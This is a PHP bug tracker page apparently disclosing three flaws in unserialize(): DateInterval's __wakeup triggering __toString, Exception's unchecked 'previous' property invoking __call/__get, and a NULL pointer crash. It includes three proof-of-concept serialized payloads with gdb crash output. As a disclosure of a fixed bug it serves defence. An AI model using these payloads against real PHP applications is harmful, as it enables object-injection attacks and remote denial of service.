|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-07-27 00:11 UTC] stas@php.net
[2015-08-03 09:45 UTC] andrea dot palazzo at truel dot it
[2015-08-04 22:22 UTC] stas@php.net
[2015-08-04 22:22 UTC] stas@php.net
-Status: Open
+Status: Closed
[2015-08-04 22:23 UTC] stas@php.net
[2015-08-04 22:30 UTC] stas@php.net
[2015-08-05 07:29 UTC] stas@php.net
[2015-08-05 10:12 UTC] ab@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 05:00:01 2025 UTC |
Description: ------------ The report below is about 3 different issues, first two have been tested on latest versions on each branch, #3 seems not to be affecting PHP7. First one is probably more a design issue than a flaw, by the way I'm quite positive that could be avoided or at least documented. OVERVIEW Due to an implicit string conversion in DateInterval's __wakeup() and an insufficient type check in Exception's __toString(), unserialize() calls could result in unexpected method executions without any manipulation needed on the unserialized data. This behavior significantly increase the attack surface in Object injection contexts (vulnerabilities like CVE-2015-4147, for example, could in fact be triggered by standard unserialize() calls this way). Lastly, the Exception issue also leads to a NULL pointer dereference, making possible to remotely crash PHP. DETAILS In php_date.c, php_date_interval_initialize_from_hash, "days" and "special_amount" fields are retrieved through PHP_DATE_INTERVAL_READ_PROPERTY_I64() which perform a convert_to_string() that, in case of Object, call its __toString() method. #PoC1 In zend_exceptions.c, __toString, "previous" is supposed to hold a reference to the previous Exception object in order to construct the stack trace. Problem is that no checks are actually performed on it being an instance of the Exception class, thus any Object could be supplied instead. The subsequent attempt to call "getTraceAsString" on it, if not declared in the involved Class, would then result in __call (and also __get) being executed. #PoC2 If no __call is specified by the object supplied as previous, zend_call_function would exit on failure with "fci->retval_ptr_ptr" (referenced by "trace") still pointing to NULL, so that the following if (Z_TYPE_P(trace) != IS_STRING) { would crash PHP trying to access 0x0+0x14. #PoC3 Test script: --------------- #PoC1 <?php /* $ php poc1.php unexpected */ class Pwn { function __toString() { die("surprise\n"); } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:3:"Pwn":0:{}}'); ?> <?php /*$ php poc2.php surprise 1 surprise 1 surprise 1 surprise 2 */ class Pwn { function __call($x,$y) { die("surprise 2\n"); } function __get($x) { echo "surprise 1\n"; } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:3:"Pwn":0:{}}}'); ?> <?php /* gdb$ r poc3.php Starting program: /usr/bin/php5 d.php PHP Notice: Undefined property: stdClass::$message in poc3.php on line 1 PHP Notice: Undefined property: stdClass::$file in poc3.php on line 1 PHP Notice: Undefined property: stdClass::$line in poc3.php on line 1 Program received signal SIGSEGV, Segmentation fault. 0x00000000006f52c8 in zim_exception___toString (ht=<optimized out>, return_value=0x7ffff7fc34d8, return_value_ptr=<optimized out>, this_ptr=0x7ffff7fc2f28, return_value_used=<optimized out>) at /build/php5-LRe0pE/php5-5.6.11+dfsg/Zend/zend_exceptions.c:673 673 if (Z_TYPE_P(trace) != IS_STRING) { gdb$ x/i $pc => 0x6f52c8 <zim_exception___toString+568>: cmp BYTE PTR [rax+0x14],0x6 gdb$ p $rax $1 = 0x0 */ unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:8:"stdClass":0:{}}}'); ?>